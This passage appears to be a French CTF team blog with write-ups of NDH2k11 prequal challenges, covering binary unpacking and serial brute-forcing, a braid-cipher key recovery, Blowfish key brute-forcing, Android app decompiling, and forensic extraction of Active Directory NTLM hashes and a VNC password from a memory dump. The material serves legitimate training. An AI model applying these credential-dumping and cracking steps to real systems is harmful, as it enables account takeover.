To search

w3pwnz

w3pwnz, therefore we are

CTF › Prequals ndh2k11

Entries feed Comments feed

Thursday, April 7 2011 20:50

NDH2k11 Prequals - Rce100

A priori, c'est un binaire win32 normal, apparemment packé mais PeiD ne trouve pas de signature.

On commence par l'ouvrir sous OllyDbg v2, la version 1 ayant du mal à l'analyser. On tombe directement sur l'instruction PUSHAD, qui fait penser à un packer UPX-like. Une recherche de la commande POPAD confirme cette intuition, et il suffit de mettre un breakpoint à l'adresse 00466F1B puis F9 pour unpacker l’exécutable.

rce100_pic1

Une analyse de la table des appels inter-modulaires ne nous révèle pas d'appels intéressants concernant une éventuelle comparaison de serial, on va donc breaker sur les appels à SendMessageA (sauf celui avec WM_MOUSELEAVE) pour intercepter les évènements de clicks et autres sur la fenêtre.

rce100_pic2

On run avec F9, et on entre un serial bidon (abcdef). On est interrompu après avoir entré le premier caractère car Olly a breaké sur un appel à SendMessageA. Après être entré dans le CALL suivant l'appel et quelques F8 plus tard on tombe sur une boucle qui semble compter le nombre de caractères entrés dans la textbox (en 4042F5)

rce100_pic4

Enfait la fonction dans laquelle on se trouve est chargée de dessiner la textbox avec les caractères qu'on a entrés, donc useless pour ce qu'on veut faire. Néanmoins, elle permet de récupérer l'adresse mémoire de l'emplacement de la chaîne, contenue dans EDX à ce moment là (soit 9866E8 ici).

On note cette adresse précieusement, elle servira plus tard :)

Maintenant on enlève le breakpoint en 404657 sinon on va être interrompu après chaque nouveau caractère entré dans la textbox, et on tape notre serial bidon : abcdefg, puis on clique sur Login. Olly break une fois de plus sur un appel à SendMessageA. Pour trouver la routine de vérification, on place un breakpoint mémoire à l'adresse du serial 9866E8, puis F9 pour relancer le programme. Olly break en 403F76.

rce100_pic5

Quelques F8 plus loin, on tombe sur cette fonction :

rce100_pic6

On remarques quelques lignes plus haut le CALL 0041EC50, puis la comparaison entre EAX et un une constante hexadécimale. Regardons cette fonction de plus près :

rce100_pic7

On voit ici que cette fonction génère un hash avec les caractères du serial, il reste donc plus qu'à recoder la fonction en C et lancer un bruteforce jusqu'à obtenir le bon checksum. Pour viser large on prend comme charset la plage ascii 48;122.

#include <stdio.h>
#include <stdlib.h>
 
#define MIN 48
#define MAX 122
 
void bf(char* input,int lenght)
{
	int i;
	int eax;
	int esi = 0xdeadbeef;
	for(i=0;i<lenght;i++)
	{
		eax = input[i];
		esi = esi*0x38271606;
		eax = eax*0x5b86affe;
		esi = eax - esi;
	}
 
	if(esi==0xc4b1801c)
	{
		printf("Password : %s",input);
		exit(0);
	}
}
 
void construct(char* input,int i,int j)
{
	if(i==j)
	{
		bf(input,j);
	}
	else
	{
		int k;
 
		for(k=MIN;k<=MAX;k++)
		{
			input[i]=k;
			construct(input,i+1,j);
		}
	}
}
 
int main()
{
 
	char pass[1024];
 
	int i;
 
	for(i=1;i<20;i++)
	{
		construct(pass,0,i);
		printf("Lenght : %d\n",i);
	}
 
	return 0;
}

Après quelques secondes, on trouve pWn3D.

Wednesday, April 6 2011 20:00

NDH2k11 Prequals - Crypto300

La crypto300 est sous la forme d'un ensemble de fichiers python :

crypto300> ls
braid.py   client.py  flag.py   network.py   peer.py   server.py

La première partie de cette épreuve consiste donc à comprendre que font ces fichiers. Heureusement le code est clair et bien écrit.

  • braid.py : Ce fichier est en réalité le coeur de l'épreuve dans lequel toutes les opérations cryptographiques sont faites. Le cryptosystème fonctionne à base de permutations.
  • client.py : Ce fichier contient le code du client (nous) qui va se connecter au serveur.
  • server.py : Ce fichier contient le code du serveur hébergé sur les machines de la ndh, sur lequel on va se connecter.
  • flag.py : Ce fichier contient un fake flag, le saint graal pour nous... celui qui sera envoyé par le serveur, enfin on espère.
  • network.py : Ce fichier contient des classes implémentant l'accès bas niveau au réseau.
  • peer.py : Ce fichier contient des classes implémentant un transfert sécurisé des informations.

Une première exécution du client nous donne le résultat suivant :

crypto300> python client.py
[Crypto300 sample client]
[i] Welcome on Goofyleaks. Can I haz ur public kay ?
[+] Your leaked flag: ##NOT ALLOWED##

Ca commence mal, on a pas le droit d'accéder au flag. Une analyse plus fine du code de network.py et notamment de la fonction run de ServerWorker nous donne un peu plus d'informations sur ce qui se passe réellement :

...
           if str2hex(pubkey) in self.allowed_pubkeys:
                # authenticated ! (public key is allowed)
                enc_data = self.peer.encryptData(GOODBOY_FLAG)
                self.__send(enc_data)
            else:
                # well, public key is not allowed, send error
                enc_data = self.peer.encryptData('##NOT ALLOWED##')
...

Si on a pas la bonne clé publique, on aura pas le bon flag. La bonne clé se trouve dans le fichier server.py :

...
       # bind peer instance to a socket (and set up a single allowed public key)
        self.s = ServerSocket(peer,allowed_pubkeys=['0F0C11040108060B05150E1000090A030D1312140207'])
...

On commence à comprendre un peu plus le problème... On sait quelle est la clé publique, mais il va falloir trouver la clé privée correspondant à cette clé publique.

Une analyse plus détaillée des fichiers nous permet de bien comprendre la communication qui est faite entre le client et le serveur :

CLIENTSERVEUR
Connection
Envoi MOTD
Réception MOTD
Envoi Clé Publique Serveur
Réception Clé Publique Serveur
Envoi Clé Publique Client
Réception clé Publique client
Génération secret partagé avec clé publique serveur Génération secret partagé avec clé publique client
Si bonne cle publique chiffre bon flag flag, sinon chiffre mauvais flag
Envoi flag chiffré
Réception flag chiffré
Déchiffrement flag chiffré



Le secret partagé est en réalité un sha1 obtenu à partir d'opérations sur la clé publique de l'interlocuteur et d'une valeur commune entre le client et le serveur 0D1214040108060F050C0E0207030A151009000B1311 que l'on peut trouver client.py et server.py. Ce sha1 sert comme clé à l'algorithme blowfish pour chiffrer le flag envoyé par le serveur. Bien évidemment, la génération du secret partagé aboutit à la même valeur chez le client et chez le serveur s'ils possèdent les clés privées correspondantes aux clés publiques envoyées. Ici impossible de faire quoique ce soit, la vulnérabilité n'est pas dans le chiffrement du flag, mais dans l'obtention de la clé permettant ce chiffrement.

La génération de la clé privée et de la clé publique chez le client et chez le serveur se font à partir de la même valeur commune citée plus haut. La dérivation se fait dans braid.py dans le constructeur de la classe BraidKey. La clé privée est d'abord initialisée à la valeur 000102030405060708090A0B0C0D0E0F101112131415 (soit 22 octets différents) puis les 11 premiers octets sont mélangés pour le serveur et les 11 derniers pour le client. La clé publique est ensuite obtenue à partir de cette clé privée, à partir de deux méthodes : combine et reverse.

Il y a donc 11! clés privées différentes (11 octets fixes puis 11 octets mélangés) soit 39916800. A la vue des writeup déjà écrits sur cette épreuve, la majorité des teams se sont arrêtés là et ont bruteforcé l'ensemble des 11! clés possibles. Malheureusement mon PC ayant déjà trop chauffé durant la crypto200, nous avons essayé de réduire l'espace de recherche pour simplifier le calcul.

Pour cela il faut bien comprendre les méthodes combine et reverse.

  • combine

La méthode combine mélange un tableau en fonction d'un autre.

Tableau 1

000102030405060708090A0B0C0D0E0F101112131415
1514131211100F0E0D0C0B000102030405060708090A



Tableau 2

000102030405060708090A0B0C0D0E0F101112131415
000102030405060708090A1514131211100F0E0D0C0B



La méthode Tab1.combine(Tab2) donne :

000102030405060708090A0B0C0D0E0F101112131415
0B0C0D0E0F101112131415000102030405060708090A



On prend l'élément 0 de tab1 (ici 0x15) et on prend le 0x15 ème élément de tab2 (donc B), qui deviendra l'élément 0 de Tab1.combine(Tab2).

  • reverse

La méthode reverse retourne un tableau par rapport à ses indices :

Tab1.reverse() donne :

000102030405060708090A0B0C0D0E0F10111213141516
0A09080706050403020100161514131211100F0E0D0C0B



On prend l'élément 0 de tab1 (ici 0x15) et 0x15 ème élément devient donc l'élément 0 de Tab1.reverse().

Maintenant que ces deux méthodes sont bien assimilées regardons comment les éléments s'enchainent pour obtenir la publique en fonction de la clé privé et surtout regardons s'il est possible de reverser le processus.

L'analyse (simplifiée) de braid.py donne ça :

Priv = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21];
Priv.shuffle(offset/2);  # La deuxième partie de Priv est mélangée
PrivR = Priv.reverse();
T = K.combine(PrivR);
Pub = Priv.combine(T);

K est la valeur connue citée plus haut, et T ne se trouve pas dans le programme mais je l'ajoute pour simplifier le calcul. On connait Pub (la clé que l'on doit envoyer au serveur pour qu'il nous envoie le bon flag), on connait K, et on connait la moitié de Priv.

Posons ce que l'on connait :

indice000102030405060708090A0B0C0D0E0F101112131415
PRIV000102030405060708090A???????????
PRIVR??????????????????????
K0D1214040108060F050C0E0207030A151009000B1311
T??????????????????????
PUB0F0C11040108060B05150E1000090A030D1312140207



Dire que l'on ne connait pas pas PrivR est faux. On en connait au moins une partie. Etant donné que PrivR = Priv.reverse(), on connait la première moitié de PrivR, elle est égale à la première moitié de Priv (seulement car les 11 premiers octets de Priv sont 0,1,2,3,4,5,6,7,8,9,10,11). De la même façon, on connait une partie de T car Pub = Priv.combine(T). Donc la première moitié de T est égale à Pub encore une fois seulement car les 11 premiers octets de Priv sont 0,1,2,3,4,5,6,7,8,9,10,11).

On met à jour notre tableau :

indice000102030405060708090A0B0C0D0E0F101112131415
PRIV000102030405060708090A???????????
PRIVR000102030405060708090A???????????
K0D1214040108060F050C0E0207030A151009000B1311
T0F0C11040108060B05150E???????????
PUB0F0C11040108060B05150E1000090A030D1312140207



On sait que T = K.combine(PrivR), donc on peut essayer de voir si certains octets de PrivR peuvent être découverts.

indice000102030405060708090A0B0C0D0E0F101112131415
PRIV000102030405060708090A???????????
PRIVR000102030405060708090A?150F0E0B??0C?11?
K0D1214040108060F050C0E0207030A151009000B1311
T0F0C11040108060B05150E???????????
PUB0F0C11040108060B05150E1000090A030D1312140207



Vu que PrivR = Priv.reverse() on finit par découvrir certains octets de Priv.

indice000102030405060708090A0B0C0D0E0F101112131415
PRIV000102030405060708090A0F12?0E0D?14???0C
PRIVR000102030405060708090A?150F0E0B??0C?11?
K0D1214040108060F050C0E0207030A151009000B1311
T0F0C11040108060B05150E???????????
PUB0F0C11040108060B05150E1000090A030D1312140207



Il ne reste donc plus que 5 octets inconnus dans la clé privée, on a donc diminué l'espace de recherche de 11! à 5! soit 120. Il suffit de tester ces 120 possibilités et de voir celles qui respectent le padding PKCS5 fait lors de l'envoi du flag. Une seule réponse correspond pour la clé 000102030405060708090a0f12110e0d151410130b0c qui nous permet de déchiffrer le flag : Br4iDCrypto_i5_b3au7ifu11

NDH2k11 Prequals - Compte Rendu !

Le week end dernier, se sont déroulées pendant 48h, les préqualifications du CTF de la Nuit Du Hack 2011 !

ndh.png

Les consignes étaient claires :

 * Les 10 premières équipes seront qualifiées d'office pour le CTF, et gagneront leurs entrées gratuites
 * Elles seront ensuite complétées par 5 équipes (choisies par hzv ? ou sur liste d'attente surement)
 * Il y aura 12 challenges répartis dans les catégories Web, Crypto, Forensics et Reverse
 * Les prequals seront ouvertes du samedi 02 00:00 au dimanche 03 23:59

Nous avons donc participé, sous le nom de team "404NameNotF0und", composée pour l'occasion de : awe, Ufox, mirmo, BAAL, ymvunjq, MaZ, ThunderLord, et NiklosKoda ! C'était le premier CTF de ce type pour beaucoup d'entre nous, et on peut dire que cela a été très enrichissant pour tous !

Nous avons publiés les writes-up des épreuves dans les billets suivants :

Un très bon bilan donc, puisque nous avons validé toutes les épreuves, et que celles ci étaient toutes assez intéressantes et fun, et même bien corsées pour certaines :p. Au final, nous terminons 7ème au classement (les teams devant nous ayant eu plus de bonus de points pour avoir validé des épreuves en premier, même si quelques unes d'entre elles ont terminé l'ensemble des épreuves après nous).

ndh_ranking.png

Un grand merci à HZV, et au 18 juin donc, pour le CTF ;)

UPDATE 1 : un compte rendu officiel, sur le site de HZV.

UPDATE 2 : Nous venons de recevoir un mail de HZV :

As a result of your participation to NDH2k11 CTF prequals that took place last weekend,
we are proud to announce that your team ended up in position #7.
Please find your 5 free entrances to Nuit Du Hack that will take place on June 18th 2011

\o/

Tuesday, April 5 2011 21:53

NDH2k11 Prequals - Forensic200

Nous avons à notre disposition pour ce challenge le fichier ntdis.dit d'une machine exécutant un active directory et le fichier system de la machine. Nous devons retrouver au travers de ces deux fichiers le mot de passe du compte john.

Il s'agit d'un chall plus que classique, la seule subtilité ici est que nous avons à notre disposition ici la base des comptes active directory et non le fichier SAM qui contient les comptes locaux d'un poste. Les outils classiques type pwdump ne sont donc d'aucune utilité.

Après quelques recherches, je tombe sur Reset Windows Password de chez PASSCAPE qui permet de dumper les hashs à partir d'une base active directory => c'est gagné.

Reset Windows Password se présente comme une image iso bootable, au lancement il demande si c'est une base SAM ou Active Directory :

forensic200-esr

Après quelques secondes, il nous sort l'ensemble des comptes et leur hash windows :

Administrateur:500:NO PASSWORD*********************:726a36acb62f51ecee698e66fc118683:Compte d'utilisateur d'administration:
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:NO PASSWORD*********************:LM history hash:
Administrateur:500:NO PASSWORD*********************:726a36acb62f51ecee698e66fc118683:NT history hash:
Administrateur:500:NO PASSWORD*********************:fbbf55d0ef0e34d39593f55c5f2ca5f2:NT history hash:
Invité:501:NO PASSWORD*********************:NO PASSWORD*********************:Compte d'utilisateur invité:
SUPPORT_388945a0:1001:NO PASSWORD*********************:30d4a2ef16deff366bd4b9f010b1bd26:Ceci est le compte d'un fournisseur pour les service Aide et support:
SYSDREAM-TTXW4P$:1005:NO PASSWORD*********************:6580b1de7daec96c9d98dbcd2f63f527::
krbtgt:502:NO PASSWORD*********************:b316ba9fe983951bfae8262757aa6f18:Compte de service du centre de distribution de clés:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NO PASSWORD*********************:LM history hash:
krbtgt:502:NO PASSWORD*********************:b316ba9fe983951bfae8262757aa6f18:NT history hash:
john:1108:615a367ca6280c40b4c08420b3143e50:3fb89706895e92798aeda7a399a6c417::
john:1108:615a367ca6280c40b4c08420b3143e50:NO PASSWORD*********************:LM history hash:
john:1108:NO PASSWORD*********************:3fb89706895e92798aeda7a399a6c417:NT history hash:

Le compte qui nous intéresse ici :

john:1108:615a367ca6280c40b4c08420b3143e50:3fb89706895e92798aeda7a399a6c417::

On le donne à ophcrack en utilisant les rainbow tables de base, et il nous sort en moins de 3min:

john:1108:615a367ca6280c40b4c08420b3143e50:3fb89706895e92798aeda7a399a6c417:TGYD7OE:25G:TgYD7oE25g

ophcrack

Le flag est donc TgYD7oE25g

NDH2k11 Prequals - Forensic100

Support : image RAW

But : “On a dump la RAM d'une machine sur laquelle tournait un serveur VNC. Le but est de récupérer le mot de passe de ce serveur.”

Après quelque recherches, on apprend que le mot de passe VNC est stocké de manière cryptée dans la base de registre ici : “HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC\Password”

On trouve rapidement sur le net, un programme qui permet de décrypter un pass VNC crypté : VNCpwdump

Le but est donc de retrouver dans le dump mémoire la clé de registre correspondante et de la décrypter.

On tente d'ouvrir le fichier .raw dans volatility :

D:\Challenges\NDH\Volatility-1.3_Beta>python volatility ident -f dump.raw
             Image Name: dump.raw
             Image Type: Service Pack 2
                VM Type: pae
                    DTB: 0xae2000
               Datetime: Thu Mar 10 14:28:56 2011

Le fichier est bien identifié et en parcourant la Documentation , on s’aperçoit qu'il est possible avec la version 1.4 de volatility d'ouvrir directement une clé de registre. Après installation, il n'y a plus qu'à lancer la bonne commande :

C:\Users\K-Lu\Desktop\Volatility-1.4_rc1>python vol.py printkey -f dump.raw -K RealVNC\WinVNC4

Volatile Systems Volatility Framework 1.4_rc1
Legend: (S) = Stable   (V) = Volatile
----------------------------
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software

Key name: WinVNC4 (S)
Last updated: 2011-03-10 13:10:51
Subkeys:
Values:
REG_BINARY    Password        : (S)
0000   DA 6E 31 84 95 77 AD 6B                            .n1..w.k
REG_SZ        SecurityTypes   : (S) VncAuth
REG_SZ        ReverseSecurityTypes : (S) None
REG_DWORD     QueryConnect    : (S) 0
REG_DWORD     QueryOnlyIfLoggedOn : (S) 0

Nous retrouvons donc bien le pass VNC crypté : DA 6E 31 84 95 77 AD 6B, plus qu'à le décoder avec VNCpwdump :

D:\Hacking\Tools\VNCpwdump>vncpwdump.exe -k DA6E31849577AD6B

VNCPwdump v.1.0.6 by patrik@cqure.net
-------------------------------------
Password: secretpq

Et voilà il n'y avait plus qu'à rentrer le flag.

NDH2k11 Prequals - Crypto200

On a un code source qui génère des password au hasard et un fichier jpg encrypté.

Un block de 8 bytes qui commence à un rang multiple de 8 bytes se répète très très souvent. Plusieurs fois de suite, au début, au milieu, à la fin...
On comprend donc que c'est un chiffrement symmétrique par blocks de 64-bits du genre de DES. On se doute aussi que le block de 8 qui se répète correspond à un byte répété plusieurs fois de suite, très probablement des null bytes vu la structure des jpg en général.

Vu le nom du fichier (bf-encrypted.jpg) on devine que c'est du BlowFish (c'est bien du DES-like).

Du coup on a pas vraiment le choix, il faut bruteforcer.

Vu le fichier de génération de password fourni on devine que la longueur de la clef est de 8 bytes. ymvunjq y trouve une faille qui permet de ne bruteforcer que sur les 5 premiers bytes (les 3 suivants sont déduits par la suite).

Ainsi on lance un bruteforce qui passe par les 62^5 passes possibles (62 étant le nombre de caractères dans le charset).

BAAL trouve le passe eynnoXAd. On l'utilise pour dé-blowfisher l'image avec le code suivant:

#include "blowfish.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void bruteforce_key (void)
{
    unsigned long L = 1, R = 2;
    BLOWFISH_CTX ctx0;
    char PASS[10] = {0};
 
    // Test to check if the blowfish code runs properly on given computer
 
    Blowfish_Init (&ctx0, (unsigned char*)"TESTKEY", 7);
    Blowfish_Encrypt(&ctx0, &L, &R);
    printf("%08lX %08lX\n", L, R);
 
    if (L == 0xDF333FD2L && R == 0x30A71BB4L)
        printf("Test encryption OK.\n");
    else
        printf("Test encryption failed.\n");
 
    Blowfish_Decrypt(&ctx0, &L, &R);
 
    if (L == 1 && R == 2)
        printf("Test decryption OK.\n");
    else
        printf("Test decryption failed.\n");
 
    // Bruteforce, loop through first 5 chars
 
    char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-!$%*+[]()";
    int a0, a1, a2, a3, a4;
 
    for(a0=0;a0<62;a0++){
        for(a1=0;a1<62;a1++){
            printf("%i %i - ", a0, a1); // Display progress
            for(a2=0;a2<62;a2++){
                for(a3=0;a3<62;a3++){
                    for(a4=0;a4<62;a4++){
                        PASS[0] = charset[a0];
                        PASS[1] = charset[a1];
                        PASS[2] = charset[a2];
                        PASS[3] = charset[a3];
                        PASS[4] = charset[a4];
                        PASS[5] = charset[PASS[4] % 62];
                        PASS[6] = charset[PASS[5] % 62];
                        PASS[7] = charset[PASS[6] % 62];
                        L = 0;
                        R = 0;
 
                        Blowfish_Init (&ctx0, (unsigned char*)PASS, 8);
                        Blowfish_Encrypt(&ctx0, &L, &R);
 
                        if (L == 0x8EDE92F0 && R == 0xD0D99926){  //Expected crypted text
                            printf("*** Success *** Password: %s\n", PASS);
 
                            a0 = 100; a1 = 100; a2 = 100; a3 = 100; a4 = 100;
                            system("PAUSE");
                        }
                    }
                }
            }
        }
    }
 
    puts ("[+] DONE");
}
 
void decrypt (void)
{
    BLOWFISH_CTX ctx0;
    unsigned long L = 0x67A2204C , R = 0x967FB36E;
    int i;
    FILE *input = fopen ("bf-encrypted.jpg", "rb");
    FILE *output = fopen ("bf-decrypted.jpg", "wb+");
 
    if (!input)
    {
        puts ("[-] File not found");
        return;
    }
 
    while (!feof (input))
    {
        L = 0;
        R = 0;
 
        for (i = 0; i < 4; i++)
            L = (L << 8) + fgetc (input);
 
        for (i = 0; i < 4; i++)
            R = (R << 8) + fgetc (input);
 
        Blowfish_Init (&ctx0, (unsigned char*)"eynnoXAd", 8); // This is the password obtained from step 1
        Blowfish_Decrypt(&ctx0, &L, &R);
 
        for (i = 0; i < 4; i++)
            fputc ((L >> (8 * (3 - i))) & 0xff, output);
 
        for (i = 0; i < 4; i++)
            fputc ((R >> (8 * (3 - i))) & 0xff, output);
    }
 
    fclose (input);
    fclose (output);
 
    puts ("[+] DONE");
}
 
int main(int argc, char **argv)
{
    if (argc < 2)
    {
        printf ("Usage: %s step\n"
                "\tStep 1 : Bruteforce the key\n"
                "\tStep 2 : Decrypt the ciphertext\n", argv[0]);
        return 1;
    }
 
    if (argv[1][0] == '1')
        bruteforce_key ();
    else if (argv[1][0] == '2')
        decrypt ();
    else
        puts ("[-] FAIL\n");
 
    return 0;
}

Le code source du blowfish est pris d'ici: C'est celui de Paul Kocher.

L'image une fois décryptée donne le flag: Cod3monk3ys_4re_3viL

bf-decrypted.jpg

NDH2k11 Prequals - Rce200

Deuxième épreuve de Reverse qui avait pour support une application Android.

Fichier : "RCE200.apk"

Fort de la lecture des slides de Virtualabs concernant le reverse d'application Android, nous savions que les sources Java de l'application étaient disponibles grâce à 2 outils : Dex2Jar (Transformer le .apk en .jar contenant des .class (Bytecode Java)) et JD-GUI (Permet l'affichage des .class en .java).

Nous découvrons que l'application se compose de 4 fichiers :
- "ReverseMe.java"
- "a.java"
- "b.java"
- "c.java"

Tout d'abord, je tiens à préciser que j'ai pas utilisé de device Android pour résoudre cette épreuve ni utilisé d'émulateur, seule la lecture des sources m'a permis de choper le flag.
Allez, c'est parti pour de l'analyse !

Commençons par le fichier "c.java"

package ndh.prequals.rce;
 
public final class c
{
  private static byte[] a = { 90, 5, 88, 88, 13, 13, 90, 90, 10, 4, 9, 11, 93, 90, 11, 15, 93, 95, 5, 93, 5, 8, 8, 88, 90, 95, 9, 14, 90, 8, 13, 94 };
  private static byte[] b = { 91, 83, 83, 91, 80, 89, 99, 79, 88, 87 };
  private static byte[] c = { 113, 120, 9 };
  private static byte[] d = { 93, 82, 88, 78, 83, 85, 88, 18, 79, 76, 89, 89, 95, 84, 18, 93, 95, 72, 85, 83, 82, 18, 110, 121, 127, 115, 123, 114, 117, 102, 121, 99, 111, 108, 121, 121, 127, 116 };
  private static byte[] e = { 111, 116, 125, 17, 13 };
 
  public static String a()
  {
    return a(a);
  }
 
  private static String a(byte[] paramArrayOfByte)
  {
    byte[] arrayOfByte = new byte[paramArrayOfByte.length];
    int i = 0;
    while (true)
    {
      int j = paramArrayOfByte.length;
      if (i >= j)
        return new String(arrayOfByte);
      int k = (byte)(paramArrayOfByte[i] ^ 0x3C);
      arrayOfByte[i] = k;
      i += 1;
    }
  }
 
  public static String b()
  {
    return a(b);
  }
 
  public static String c()
  {
    return a(c);
  }
 
  public static String d()
  {
    return a(d);
  }
 
  public static String e()
  {
    return a(e);
  }
}

Les attributs a,b,c,d,e sont des strings, mis sous forme de tableau de Byte.
On voit très clairement que la fonction private static String a(byte paramArrayOfByte) {} effectue un XOR chaque caractère de la chaine d'entrée et la clé 0x3C.

Réflexe: passer les strings a,b,c,d,e dans la fonction a() histoire de voir quelles nouvelles chaines on obtient (chars imprimables ou non).

Résultat:

a="f9dd11ff6857af73ac9a944dfc52f41b"
b="google_sdk"
c="MD5"
d="android.speech.action.RECOGNIZE_SPEECH"
e="SHA-1"

Tiens tiens, "MD5", "SHA-1" ça sent le hash là dedans garçon !

Au passage, on remarque avec lucidité que la string a fait 32 caractères, on essaie donc de voir si ce n'est pas le hash MD5 d'une quelconque chaine.

Et là bingo, passcracking.ru nous indique que c'est le hash MD5 de "salope".

Élégant non ?

Comme je l'ai dit plus haut je n'avais pas de device Android durant cette épreuve. A ce moment de l'épreuve, je ne savais pas donc pas que la saisie de notre input se faisait via une méthode de Speech-to-Text. La chaine "android.speech.action.RECOGNIZE_SPEECH" m'a mis sur la piste.

Passons au fichier "a.java"

package ndh.prequals.rce;
 
import android.os.Build;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
 
public final class a
{
  public static String a(String paramString)
  {
    try
    {
      MessageDigest localMessageDigest = MessageDigest.getInstance(c.e()); //c.(e)="SHA-1"
      byte[] arrayOfByte = paramString.getBytes();
      localMessageDigest.update(arrayOfByte);
      localObject1 = localMessageDigest.digest();
      StringBuffer localStringBuffer1 = new StringBuffer();
      int i = 0;
      int j = localObject1.length;
      if (i >= j)
      {
        localObject1 = localStringBuffer1.toString();
        return localObject1;
      }
      String str;
      for (Object localObject2 = Integer.toHexString(localObject1[i] & 0xFF); ; localObject2 = str)
      {
        if (((String)localObject2).length() >= 2)
        {
          StringBuffer localStringBuffer2 = localStringBuffer1.append((String)localObject2);
          i += 1;
          break;
        }
        str = "0" + (String)localObject2;
      }
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
    {
      while (true)
        Object localObject1 = null;
    }
  }
 
  public static boolean b(String paramString)
  {
    try
    {
      MessageDigest localMessageDigest = MessageDigest.getInstance(c.c());//c.(c)="MD5"
      byte[] arrayOfByte1 = paramString.getBytes();
      localMessageDigest.update(arrayOfByte1);
      byte[] arrayOfByte2 = localMessageDigest.digest();
      StringBuffer localStringBuffer1 = new StringBuffer();
      String str1 = c.b();
      String str2 = Build.PRODUCT;
      if (str1.equals(str2))
        StringBuffer localStringBuffer2 = localStringBuffer1.append(65);
      int i = 0;
      int j = arrayOfByte2.length;
      if (i >= j)
      {
        String str3 = localStringBuffer1.toString();
        String str4 = c.a();
        bool = str3.equals(str4);
        return bool;
      }
      String str5;
      for (Object localObject = Integer.toHexString(bool[i] & 0xFF); ; localObject = str5)
      {
        if (((String)localObject).length() >= 2)
        {
          StringBuffer localStringBuffer3 = localStringBuffer1.append((String)localObject);
          i += 1;
          break;
        }
        str5 = "0" + (String)localObject;
      }
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
    {
      while (true)
        boolean bool = false;
    }
  }
}

Une analyse rapide des méthodes a() et b() de cette classe nous indique que:
- a() nous renvoi le hash SHA-1 de la chaine passée en paramètre
- b() compare le md5 du mot prononcé avec c.a() ( c.a()="f9dd11ff6857af73ac9a944dfc52f41b"=md5("salope") )


Voici le contenu du fichier "b.java"

package ndh.prequals.rce;
 
import android.content.Intent;
import android.view.View;
import android.view.View.OnClickListener;
 
final class b
  implements View.OnClickListener
{
  b(ReverseMe paramReverseMe)
  {
  }
 
  public final void onClick(View paramView)
  {
    ReverseMe localReverseMe = this.a;
    if (paramView.getId() == 2131034114)
    {
      String str = c.d();
      Intent localIntent1 = new Intent(str);
      Intent localIntent2 = localIntent1.putExtra("android.speech.extra.LANGUAGE_MODEL", "free_form");
      Intent localIntent3 = localIntent1.putExtra("android.speech.extra.PROMPT", "Enter password");
      localReverseMe.startActivityForResult(localIntent1, 1234);
    }
  }
}

Cette classe gère la partie graphique, met en place les Listeners et gère l'évenement onClick (qui correspond au click tactile de l'utilisateur, pour valider sa saisie)

Donc pas grand chose à tirer de cette classe.

Et enfin, voici la classe la plus intéressante "ReverseMe.java"

package ndh.prequals.rce;
 
import android.app.Activity;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.widget.Button;
import android.widget.TextView;
import java.util.ArrayList;
import java.util.List;
 
public class ReverseMe extends Activity
{
  private a a = null;
  private TextView b = null;
 
  protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
  {
    if ((paramInt1 == 1234) && (paramInt2 == -1))
    {
      ArrayList localArrayList = paramIntent.getStringArrayListExtra("android.speech.extra.RESULTS");
      if ((!localArrayList.isEmpty()) && (a.b((String)localArrayList.get(0))))
      {
        TextView localTextView = this.b;
        String str = a.a((String)localArrayList.get(0));
        localTextView.setText(str);
      }
    }
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
  }
 
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903040);
    Button localButton = (Button)findViewById(2131034114);
    TextView localTextView = (TextView)findViewById(2131034113);
    this.b = localTextView;
    PackageManager localPackageManager = getPackageManager();
    String str1 = c.d();
    Intent localIntent = new Intent(str1);
    if (localPackageManager.queryIntentActivities(localIntent, 0).size() != 0)
    {
      String str2 = c.b();
      String str3 = Build.PRODUCT;
      if (!str2.equals(str3))
      {
        b localb = new b(this);
        localButton.setOnClickListener(localb);
      }
    }
    a locala = new a();
    this.a = locala;
  }
}

La méthode onCreate() va juste instancier les élements graphiques de l'application.

La méthode onActivityResult() gère les interactions entre les éléments de cette application, donc entre ce que l'on va prononcer et le fait de réussir ou non l'authentification.

Rapide commentaire des principales instructions de la méthode onActivityResult().

ArrayList localArrayList = paramIntent.getStringArrayListExtra("android.speech.extra.RESULTS");
/* Récupère ce que l'utilisateur a prononcé et le met dans localArrayList */
 
 
if ((!localArrayList.isEmpty()) && (a.b((String)localArrayList.get(0))))
/* Si localArrayList n'est pas vide et que l'utilisateur a prononcé "salope" .... */
 
String str = a.a((String)localArrayList.get(0));
localTextView.setText(str);
/* ...alors le hash SHA-1 de "salope" est affiché. */

Le flag de cette épreuve était donc "913beccad686975f8c686d9b3b1ee6bb97c22d6f"

Épreuve originale, accessible et fun !

Que demande le peuple ?

NDH2k11 Prequals - Crypto100

La première crypto était sans nul doute le challenge le plus simple de ces pré-qualifications, elle se présentait sous la forme d'un fichier texte du nom de lorem.txt

Lorem faisant clairement référence au Lorem Ipsum, texte de remplissage de faux site très connu.

Voici le cipher :

